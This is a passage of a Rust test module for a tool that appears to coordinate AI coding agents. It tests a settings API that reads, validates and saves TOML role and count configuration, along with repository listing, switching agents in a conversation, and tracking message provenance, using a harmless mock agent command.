11265 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
11266 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
11267 if let Some(text) = machine_toml {
11268 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
11269 std::fs::write(&machine, text).expect("machine toml");
11270 }
11271 (tmp, repo, machine)
11272 }
11273
11274 async fn settings_checkout(path: &FsPath, text: &str) {
11275 std::fs::create_dir_all(path).unwrap();
11276 std::fs::write(path.join("magi.toml"), text).unwrap();
11277 for args in [
11278 vec!["init", "-b", "main"],
11279 vec!["add", "magi.toml"],
11280 vec![
11281 "-c",
11282 "user.name=Test",
11283 "-c",
11284 "user.email=test@example.invalid",
11285 "commit",
11286 "-m",
11287 "fixture",
11288 ],
11289 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
11290 vec![
11291 "symbolic-ref",
11292 "refs/remotes/origin/HEAD",
11293 "refs/remotes/origin/main",
11294 ],
11295 ] {
11296 crate::git::git(path, &args).await.unwrap();
11297 }
11298 }
11299
11300 #[tokio::test]
11301 async fn settings_context_handlers_validate_and_save_without_a_socket() {
11302 let (tmp, repo, machine) =
11303 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
11304 let root = tmp.path().join("roots");
11305 let selected = root.join("host/owner/selected");
11306 settings_checkout(
11307 &selected,
11308 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
11309 )
11310 .await;
11311 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
11312 let before = std::fs::read(&machine).unwrap();
11313 let ui = Arc::new(
11314 Ui::new(
11315 Queue::at(tmp.path().join("queue")),
11316 Questions::at(tmp.path().join("questions")),
11317 Talks::at(tmp.path().join("talks")),
11318 tmp.path().join("runs"),
11319 tmp.path().to_path_buf(),
11320 repo.clone(),
11321 )
11322 .with_machine_config(Some(machine.clone())),
11323 );
11324 let query = || {
11325 Query(SettingsQuery {
11326 repo: Some(selected.clone()),
11327 })
11328 };
11329 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
11330 assert!(v.error.is_none(), "{:?}", v.error);
11331 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
11332 assert_eq!(conductor.source, "repo");
11333 assert_eq!(
11334 conductor.machine_value,
11335 Some(toml::Value::String("a".into()))
11336 );
11337 assert!(!conductor.editable);
11338 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
11339 assert_eq!(
11340 judges.count.as_ref().unwrap().machine_value,
11341 Some(toml::Value::Integer(1))
11342 );
11343 assert!(
11344 !v.roles
11345 .iter()
11346 .find(|r| r.key == "reviewers")
11347 .unwrap()
11348 .editable
11349 );
11350 let unknown = || {
11351 Query(SettingsQuery {
11352 repo: Some(tmp.path().to_path_buf()),
11353 })
11354 };
11355 assert_eq!(
11356 settings_get(State(ui.clone()), unknown())
11357 .await
11358 .unwrap_err()
11359 .status,
11360 StatusCode::UNPROCESSABLE_ENTITY
11361 );
11362 let body = || {
11363 Ok(Json(RolesBody {
11364 revision: v.revision.clone(),
11365 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
11366 counts: Default::default(),
11367 }))
11368 };
11369 assert_eq!(
11370 settings_put_roles(State(ui.clone()), unknown(), body())
11371 .await
11372 .unwrap_err()
11373 .status,
11374 StatusCode::UNPROCESSABLE_ENTITY
11375 );
11376 assert_eq!(std::fs::read(&machine).unwrap(), before);
11377 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
11378 .await
11379 .unwrap();
11380 assert_eq!(
11381 saved.repo,
11382 selected.canonicalize().unwrap().display().to_string()
11383 );
11384 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
11385 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
11386 let fresh = root.join("host/owner/fresh");
11388 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
11389 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
11390 .await
11391 .unwrap();
11392 assert_eq!(fresh_view.repositories.len(), 3);
11393 }
11394
11395 #[tokio::test]
11396 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
11397 let (tmp, repo, machine) = settings_dirs(
11398 "[roles]\nreviewers = [\"a\"]\n",
11399 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
11400 );
11401 let root = tmp.path().join("roots");
11402 let selected = root.join("host/owner/selected");
11403 settings_checkout(
11404 &selected,
11405 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
11406 )
11407 .await;
11408 let broken = root.join("host/owner/broken");
11409 settings_checkout(&broken, "[roles\nbroken").await;
11410 let machine_text = format!(
11411 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
11412 toml::Value::String(root.display().to_string())
11413 );
11414 std::fs::write(&machine, &machine_text).unwrap();
11415 let originals: Vec<_> = [&repo, &selected, &broken]
11416 .iter()
11417 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
11418 .collect();
11419 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
11420 let default = f.get("/api/settings").await.json();
11421 assert_eq!(
11422 default["repo"],
11423 repo.canonicalize().unwrap().display().to_string()
11424 );
11425 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
11426 let query = format!("?repo={}", selected.display());
11427 let res = f.get(&format!("/api/settings{query}")).await;
11428 assert_eq!(res.status, 200, "{}", res.body);
11429 let v = res.json();
11430 assert!(v["error"].is_null(), "{v}");
11431 assert_eq!(v["repositories"], default["repositories"]);
11432 let role = |key: &str| {
11433 v["roles"]
11434 .as_array()
11435 .unwrap()
11436 .iter()
11437 .find(|r| r["key"] == key)
11438 .unwrap()
11439 };
11440 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
11441 assert_eq!(role("advisors")["source"], "repo");
11442 assert_eq!(role("advisors")["editable"], false);
11443 assert!(role("advisors")["machine_value"].is_null());
11444 assert_eq!(role("judges")["count"]["value"], 2);
11445 assert_eq!(role("judges")["count"]["machine_value"], 1);
11446 assert_eq!(role("judges")["count"]["source"], "repo");
11447 let source = role("judges")["count"]["source_path"].as_str().unwrap();
11448 assert!(
11449 source.contains("origin/main") && !source.contains("magi/config/"),
11450 "{source}"
11451 );
11452 assert_eq!(
11453 role("reviewers")["editable"],
11454 false,
11455 "default context outside roots must protect its declarations"
11456 );
11457 let body =
11458 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
11459 let unknown = format!("?repo={}", tmp.path().display());
11460 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
11461 assert_eq!(
11462 f.put(&format!("/api/settings/roles{unknown}"), &body)
11463 .await
11464 .status,
11465 422
11466 );
11467 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
11468 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
11469 .to_string();
11470 assert_eq!(
11471 f.put(&format!("/api/settings/roles{query}"), &refuse)
11472 .await
11473 .status,
11474 422
11475 );
11476 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
11477 assert_eq!(saved.status, 200, "{}", saved.body);
11478 assert_eq!(saved.json()["repo"], v["repo"]);
11479 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
11480 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
11481 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
11482 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
11483 }
11484 let error = f
11485 .get(&format!("/api/settings?repo={}", broken.display()))
11486 .await;
11487 assert_eq!(error.status, 200);
11488 assert!(error.json()["error"]["message"].is_string());
11489 assert_eq!(error.json()["repositories"], default["repositories"]);
11490 }
11491
11492 #[tokio::test]
11493 async fn settings_get_reports_sources_and_the_advisors_fallback() {
11494 let (_tmp, repo, machine) =
11495 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
11496 let f = Fixture::with_repo_and_machine(repo, machine).await;
11497 let res = f.get("/api/settings").await;
11498 assert_eq!(res.status, 200, "{}", res.body);
11499 let v = res.json();
11500 assert!(v["error"].is_null(), "{v}");
11501 let role = |k: &str| {
11502 v["roles"]
11503 .as_array()
11504 .and_then(|r| r.iter().find(|x| x["key"] == k))
11505 .cloned()
11506 .unwrap_or_else(|| panic!("no role {k}: {v}"))
11507 };
11508 assert_eq!(role("judges")["source"], "machine");
11509 assert_eq!(role("judges")["editable"], true);
11510 assert_eq!(role("implementers")["source"], "default");
11511 let adv = role("advisors");
11512 assert_eq!(adv["fallback"], "judges");
11513 assert!(
11514 adv["seats"]
11515 .as_array()
11516 .is_some_and(|s| s.iter().all(|x| x == "b")),
11517 "{adv}"
11518 );
11519 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
11520 assert_eq!(v["agents"][0]["source"], "repo");
11521 }
11522
11523 #[tokio::test]
11524 async fn settings_get_reports_a_config_that_does_not_parse() {
11525 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
11526 let f = Fixture::with_repo_and_machine(repo, machine).await;
11527 let res = f.get("/api/settings").await;
11528 assert_eq!(res.status, 200, "{}", res.body);
11529 let v = res.json();
11530 assert!(v["error"]["message"].is_string(), "{v}");
11531 assert!(
11532 v["error"]["path"]
11533 .as_str()
11534 .is_some_and(|p| p.ends_with("magi.toml")),
11535 "{v}"
11536 );
11537 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
11538 }
11539
11540 #[tokio::test]
11541 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
11542 let (_tmp, repo, machine) = settings_dirs(
11543 SETTINGS_AGENTS,
11544 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
11545 );
11546 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
11547 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
11548 let rev = f.get("/api/settings").await.json()["revision"]
11549 .as_str()
11550 .expect("revision")
11551 .to_owned();
11552 let body = serde_json::json!({
11553 "revision": rev,
11554 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
11555 })
11556 .to_string();
11557 let res = f.put("/api/settings/roles", &body).await;
11558 assert_eq!(res.status, 200, "{}", res.body);
11559 let text = std::fs::read_to_string(&machine).expect("machine");
11560 assert_eq!(
11561 text,
11562 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
11563 );
11564 assert_eq!(
11565 std::fs::read(repo.join("magi.toml")).expect("read"),
11566 repo_before
11567 );
11568 let again = f.get("/api/settings").await.json();
11569 let judges = again["roles"]
11570 .as_array()
11571 .expect("roles")
11572 .iter()
11573 .find(|r| r["key"] == "judges")
11574 .expect("judges")
11575 .clone();
11576 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
11577 let stale = f.put("/api/settings/roles", &body).await;
11579 assert_eq!(stale.status, 409, "{}", stale.body);
11580 }
11581
11582 #[tokio::test]
11583 async fn settings_counts_are_reported_and_saved() {
11584 let (_tmp, repo, machine) = settings_dirs(
11585 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
11586 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
11587 );
11588 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
11589 let v = f.get("/api/settings").await.json();
11590 let count = |v: &serde_json::Value, k: &str| {
11591 v["roles"]
11592 .as_array()
11593 .and_then(|r| r.iter().find(|x| x["key"] == k))
11594 .map(|x| x["count"].clone())
11595 .unwrap_or_else(|| panic!("no role {k}: {v}"))
11596 };
11597 let imp = count(&v, "implementers");
11598 assert_eq!(imp["value"], 2);
11599 assert_eq!(imp["source"], "machine");
11600 assert_eq!(imp["file_key"], "candidates");
11601 assert_eq!(imp["roster_len"], 2);
11602 assert_eq!(imp["backups"], 0);
11603 assert_eq!(count(&v, "judges")["source"], "default");
11604 assert_eq!(count(&v, "advisors")["min"], 0);
11605 assert_eq!(count(&v, "reviewers")["editable"], false);
11606 assert!(
11607 count(&v, "reviewers")["locked_reason"]
11608 .as_str()
11609 .is_some_and(|m| m.contains("graph.reviewers"))
11610 );
11611 assert!(count(&v, "fixer").is_null());
11612 let rev = v["revision"].as_str().expect("revision").to_owned();
11613 let body = serde_json::json!({
11614 "revision": rev,
11615 "roles": { "judges": ["b"] },
11616 "counts": { "implementers": 1, "advisors": 0 }
11617 })
11618 .to_string();
11619 let res = f.put("/api/settings/roles", &body).await;
11620 assert_eq!(res.status, 200, "{}", res.body);
11621 let text = std::fs::read_to_string(&machine).expect("machine");
11622 assert_eq!(
11623 text,
11624 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
11625 );
11626 let after = f.get("/api/settings").await.json();
11627 assert_eq!(count(&after, "implementers")["value"], 1);
11628 assert_eq!(count(&after, "implementers")["backups"], 1);
11629 assert_eq!(count(&after, "advisors")["value"], 0);
11630 let before = std::fs::read_to_string(&machine).expect("machine");
11631 let rev = after["revision"].as_str().expect("revision").to_owned();
11632 for counts in [
11633 serde_json::json!({ "judges": 0 }),
11634 serde_json::json!({ "judges": "x" }),
11635 serde_json::json!({ "judges": 2.5 }),
11636 serde_json::json!({ "judges": -1 }),
11637 serde_json::json!({ "reviewers": 3 }),
11638 serde_json::json!({ "bogus": 3 }),
11639 ] {
11640 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
11641 let res = f.put("/api/settings/roles", &body).await;
11642 assert_eq!(res.status, 422, "{counts}: {}", res.body);
11643 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
11644 }
11645 }
11646
11647 #[tokio::test]
11648 async fn settings_put_refuses_without_touching_the_file() {
11649 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
11650 let (_tmp, repo, machine) = settings_dirs(
11651 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
11652 Some(machine_text),
11653 );
11654 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
11655 let rev = f.get("/api/settings").await.json()["revision"]
11656 .as_str()
11657 .expect("revision")
11658 .to_owned();
11659 for roles in [
11660 serde_json::json!({ "judges": ["nope"] }),
11661 serde_json::json!({ "reviewers": ["b"] }),
11662 serde_json::json!({ "bogus": ["a"] }),
11663 ] {
11664 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
11665 let res = f.put("/api/settings/roles", &body).await;
11666 assert_eq!(res.status, 422, "{roles}: {}", res.body);
11667 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
11668 assert_eq!(
11669 std::fs::read_to_string(&machine).expect("machine"),
11670 machine_text
11671 );
11672 }
11673 }
11674
11675 #[tokio::test]
11676 async fn repos_list_returns_name_and_path_for_every_configured_root() {
11677 let tmp = TempDir::new().expect("tempdir");
11678 let repo = tmp.path().join("repo");
11679 std::fs::create_dir_all(&repo).expect("repo dir");
11680 let root = tmp.path().join("root");
11681 make_checkout(&root, "github.com", "yukimemi", "magi");
11682 std::fs::write(
11683 repo.join("magi.toml"),
11684 format!(
11685 "[repos]\nroots = [{:?}]\n",
11686 root.to_string_lossy().into_owned()
11687 ),
11688 )
11689 .expect("write magi.toml");
11690
11691 let f = Fixture::with_repo(repo).await;
11692 let res = f.get("/api/repos").await;
11693 assert_eq!(res.status, 200, "{}", res.body);
11694 let list = res.json();
11695 let repos = list.as_array().expect("an array");
11696 assert_eq!(repos.len(), 1);
11697 assert_eq!(repos[0]["name"], "yukimemi/magi");
11698 assert!(
11699 repos[0]["path"]
11700 .as_str()
11701 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
11702 "{list}"
11703 );
11704 }
11705
11706 #[tokio::test]
11707 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
11708 let tmp = TempDir::new().expect("tempdir");
11709 let repo = tmp.path().join("repo");
11710 std::fs::create_dir_all(&repo).expect("repo dir");
11711 let root = tmp.path().join("root");
11712 make_checkout(&root, "github.com", "yukimemi", "magi");
11713 std::fs::write(
11714 repo.join("magi.toml"),
11715 format!(
11716 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
11717 root.to_string_lossy().into_owned()
11718 ),
11719 )
11720 .expect("write magi.toml");
11721
11722 let f = Fixture::with_repo(repo).await;
11723 let first = f.get("/api/repos").await;
11724 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
11725
11726 make_checkout(&root, "github.com", "yukimemi", "rvpm");
11729 let second = f.get("/api/repos").await;
11730 assert_eq!(
11731 second.json().as_array().map(Vec::len),
11732 Some(1),
11733 "a fresh cache must not rescan inside the TTL"
11734 );
11735
11736 let refreshed = f.get("/api/repos?refresh=1").await;
11737 assert_eq!(
11738 refreshed.json().as_array().map(Vec::len),
11739 Some(2),
11740 "an explicit refresh must rescan even inside the TTL"
11741 );
11742 }
11743
11744 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
11750
11751 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
11755 let tmp = TempDir::new().expect("tempdir");
11756 let repo = tmp.path().join("repo");
11757 std::fs::create_dir_all(&repo).expect("repo dir");
11758 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11759 let f = Fixture::with_repo(repo.clone()).await;
11760 (tmp, repo, f)
11761 }
11762
11763 #[tokio::test]
11764 async fn posting_a_talk_with_remembered_choices_is_soft() {
11765 let (_tmp, _repo, f) = talk_fixture().await;
11766
11767 let good = f
11768 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
11769 .await;
11770 assert_eq!(good.status, 201, "{}", good.body);
11771 assert_eq!(good.json()["persona"], "rei");
11772
11773 let stale = f
11775 .post(
11776 "/api/talks",
11777 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
11778 )
11779 .await;
11780 assert_eq!(stale.status, 201, "{}", stale.body);
11781 let v = stale.json();
11782 assert_eq!(v["implementers"], 1);
11783 assert_ne!(v["persona"], "nobody");
11784 let typed = f
11785 .post(
11786 "/api/talks",
11787 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
11788 )
11789 .await;
11790 assert_eq!(typed.status, 201, "{}", typed.body);
11791
11792 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
11794 assert!(
11795 !strict.status.to_string().starts_with('2'),
11796 "{}",
11797 strict.body
11798 );
11799 }
11800
11801 #[tokio::test]
11802 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
11803 let (_tmp, _repo, f) = talk_fixture().await;
11804
11805 let opened = f.post("/api/talks", None).await;
11808 assert_eq!(opened.status, 201, "{}", opened.body);
11809 let body = opened.json();
11810 assert_eq!(body["status"], "open");
11811 assert_eq!(
11812 body["turns"].as_array().unwrap().len(),
11813 0,
11814 "opening takes no agent turn: there is nothing yet to answer"
11815 );
11816
11817 let also_opened = f.post("/api/talks", Some("{}")).await;
11819 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
11820
11821 let listed = f.get("/api/talks").await.json();
11822 assert_eq!(listed.as_array().unwrap().len(), 2);
11823 }
11824
11825 #[tokio::test]
11826 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
11827 let tmp = TempDir::new().expect("tempdir");
11828 let repo = tmp.path().join("repo");
11829 std::fs::create_dir_all(&repo).expect("repo dir");
11830 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
11831 std::fs::write(
11832 repo.join("magi.toml"),
11833 format!("{MOCK_AGENT_TOML}\n{second}"),
11834 )
11835 .expect("write magi.toml");
11836 let home = TempDir::new().expect("temp home");
11837 let talks = Talks::at(home.path().join("talks"));
11838 let ui = Arc::new(
11839 Ui::new(
11840 Queue::at(home.path().join("queue")),
11841 Questions::at(home.path().join("questions")),
11842 talks.clone(),
11843 home.path().join("runs"),
11844 home.path().to_path_buf(),
11845 repo.clone(),
11846 )
11847 .with_worktrees_root(home.path().join("wt")),
11848 );
11849 let cfg = config_for(&repo).await.expect("discover config");
11850 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11851 let id = talk.id.clone();
11852 let call = |agent: &str| {
11853 talk_agent(
11854 State(Arc::clone(&ui)),
11855 Path(id.clone()),
11856 Json(TalkAgent {
11857 agent: agent.to_owned(),
11858 }),
11859 )
11860 };
11861
11862 let unknown = call("nobody").await.expect_err("unknown agent");
11863 assert_eq!(
11864 unknown.status,
11865 StatusCode::BAD_REQUEST,
11866 "{}",
11867 unknown.message
11868 );
11869
11870 {
11871 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
11874 let busy = call("second").await.expect_err("busy talk");
11875 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
11876 assert!(
11877 busy.message.contains("a talk turn is running"),
11878 "{}",
11879 busy.message
11880 );
11881 drop(guard);
11882 }
11883 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
11884
11885 let Json(view) = call("second").await.expect("switch");
11886 assert_eq!(view.talk.agent, "second");
11887 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
11888 let saved = talks.get(&id).expect("reload");
11889 assert_eq!(saved.agent, "second");
11890 assert_eq!(saved.turns.len(), 1);
11891 assert!(!view.thinking);
11892 assert!(!ui.is_thinking(&id), "idle response must release the claim");
11893 for agent in ["mock", "second"] {
11894 let Json(view) = call(agent).await.expect("immediate consecutive change");
11895 assert_eq!(view.talk.agent, agent);
11896 assert!(!view.thinking);
11897 assert!(!ui.is_thinking(&id));
11898 }
11899
11900 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
11901 .await
11902 .expect("detail");
11903 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
11904 assert_eq!(roster, ["mock", "second"]);
11905
11906 let mut closed = talks.get(&id).expect("reload");
11907 talk::close(&mut closed, &talks).expect("close");
11908 let refused = call("mock").await.expect_err("closed talk");
11909 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
11910 assert!(
11911 refused.message.contains("takes no more turns"),
11912 "{}",
11913 refused.message
11914 );
11915 }
11916
11917 #[tokio::test]
11918 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
11919 let tmp = TempDir::new().expect("tempdir");
11920 let repo = tmp.path().join("repo");
11921 std::fs::create_dir_all(&repo).expect("repo dir");
11922 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11923 let home = TempDir::new().expect("temp home");
11924 let talks = Talks::at(home.path().join("talks"));
11925 let ui = Arc::new(
11926 Ui::new(
11927 Queue::at(home.path().join("queue")),
11928 Questions::at(home.path().join("questions")),
11929 talks.clone(),
11930 home.path().join("runs"),
11931 home.path().to_path_buf(),
11932 repo.clone(),
11933 )
11934 .with_worktrees_root(home.path().join("wt")),
11935 );
11936 let cfg = config_for(&repo).await.expect("discover config");
11937 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11938 let id = talk.id.clone();
11939 let call = |n: u8| {
11940 talk_implementers(
11941 State(Arc::clone(&ui)),
11942 Path(id.clone()),
11943 Json(TalkImplementers { implementers: n }),
11944 )
11945 };
11946
11947 for bad in [0u8, 4] {
11948 let e = call(bad).await.expect_err("out of range");
11949 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
11950 }
11951 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
11952
11953 {
11954 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
11957 let busy = call(2).await.expect_err("busy talk");
11958 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
11959 assert!(
11960 busy.message.contains("a talk turn is running"),
11961 "{}",
11962 busy.message
11963 );
11964 drop(guard);
11965 }
11966
11967 let Json(view) = call(3).await.expect("switch");
11968 assert_eq!(view.talk.implementers, 3);
11969 assert!(talks.get(&id).expect("reload").implementers_dirty);
11970 assert!(!view.thinking);
11971 assert!(!ui.is_thinking(&id), "idle response must release the claim");
11972 for n in [1, 2, 3] {
11973 let Json(view) = call(n).await.expect("immediate consecutive change");
11974 assert_eq!(view.talk.implementers, n);
11975 assert!(!view.thinking);
11976 assert!(!ui.is_thinking(&id));
11977 }
11978
11979 let mut closed = talks.get(&id).expect("reload");
11980 talk::close(&mut closed, &talks).expect("close");
11981 let e = call(2).await.expect_err("closed talk");
11982 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
11983 assert!(e.message.contains("takes no more turns"), "{}", e.message);
11984 }
11985
11986 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
11988 let tmp = TempDir::new().expect("tempdir");
11989 let repo = tmp.path().join("repo");
11990 std::fs::create_dir_all(&repo).expect("repo dir");
11991 std::fs::write(
11992 repo.join("magi.toml"),
11993 format!("{MOCK_AGENT_TOML}\n{extra}"),
11994 )
11995 .expect("write magi.toml");
11996 let home = TempDir::new().expect("temp home");
11997 let talks = Talks::at(home.path().join("talks"));
11998 let ui = Arc::new(
11999 Ui::new(
12000 Queue::at(home.path().join("queue")),
12001 Questions::at(home.path().join("questions")),
12002 talks.clone(),
12003 home.path().join("runs"),
12004 home.path().to_path_buf(),
12005 repo.clone(),
12006 )
12007 .with_worktrees_root(home.path().join("wt")),
12008 );
12009 let cfg = config_for(&repo).await.expect("discover config");
12010 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12011 (tmp, home, ui, talk.id, repo)
12012 }
12013
12014 #[tokio::test]
12015 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
12016 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12017 let mut conversation = ui.talks.get(&id).unwrap();
12018 talk::record(
12019 &mut conversation,
12020 &ui.talks,
12021 "# Update on a task you filed\noperator words",
12022 vec![],
12023 )
12024 .unwrap();
12025 conversation.turns[0].sender = None;
12027 conversation.turns[0].messages.clear();
12028 ui.talks.put(&mut conversation).unwrap();
12029 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
12030 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
12031 talk::drain(&mut conversation, &ui.talks).unwrap();
12032 talk::record_reply(
12033 &mut conversation,
12034 &ui.talks,
12035 "about that report",
12036 vec![],
12037 Some(talk::ReplyTarget {
12038 turn: 1,
12039 message: 1,
12040 }),
12041 )
12042 .unwrap();
12043 conversation.turns[2].messages[0]
12044 .reply
12045 .as_mut()
12046 .unwrap()
12047 .sender = None;
12048 conversation.turns.push(talk::Turn {
12049 sender: Some(talk::Sender::Persona),
12050 who: talk::Who::Agent,
12051 body: "magi: actual persona words".into(),
12052 at: Timestamp::now(),
12053 attachments: vec![],
12054 usage: None,
12055 breaks: None,
12056 messages: vec![],
12057 posted_by: None,
12058 });
12059 ui.talks.put(&mut conversation).unwrap();
12060 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
12061 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
12062 assert_eq!(
12063 view.talk.turns[1].messages[0].sender,
12064 Some(talk::Sender::Operator)
12065 );
12066 assert_eq!(
12067 view.talk.turns[1].messages[1].sender,
12068 Some(talk::Sender::Magi)
12069 );
12070 assert_eq!(
12071 view.talk.turns[2].messages[0]
12072 .reply
12073 .as_ref()
12074 .unwrap()
12075 .sender,
12076 Some(talk::Sender::Magi)
12077 );
12078 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
12079 assert_eq!(view.turn_messages_md[0].len(), 1);
12080 assert!(view.turn_messages_md[0][0].is_none());
12081 assert!(view.turn_messages_md[1][0].is_none());
12082 assert!(view.turn_messages_md[1][1].is_some());
12083 }
12084
12085 #[tokio::test]
12086 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
12087 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12088 let mut conversation = ui.talks.get(&id).unwrap();
12089 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
12090 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12091 talk::queue_notice(
12092 &mut conversation,
12093 &ui.talks,
12094 &body,
12095 "watch:123",
12096 &|_| false,
12097 None,
12098 display.clone(),
12099 )
12100 .unwrap();
12101 assert!(
12102 !talk::queue_notice(
12103 &mut conversation,
12104 &ui.talks,
12105 &body,
12106 "watch:123",
12107 &|_| false,
12108 None,
12109 display.clone()
12110 )
12111 .unwrap()
12112 );
12113 let saved = ui.talks.get(&id).unwrap();
12114 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
12115 let view = TalkView::with_config(saved, false, None, &ui.home);
12116 assert!(
12117 view.talk.turns[0].messages[0].display.is_none(),
12118 "operator copy stays literal"
12119 );
12120 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
12121 assert!(view.turn_messages_md[0][0].is_none());
12122 let queued_md = view.pending_messages_md[0].clone();
12123 assert_eq!(
12124 queued_md,
12125 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
12126 );
12127 talk::drain(&mut conversation, &ui.talks).unwrap();
12128 talk::record_reply(
12129 &mut conversation,
12130 &ui.talks,
12131 "Explain",
12132 vec![],
12133 Some(talk::ReplyTarget {
12134 turn: 1,
12135 message: 0,
12136 }),
12137 )
12138 .unwrap();
12139 let mut saved = ui.talks.get(&id).unwrap();
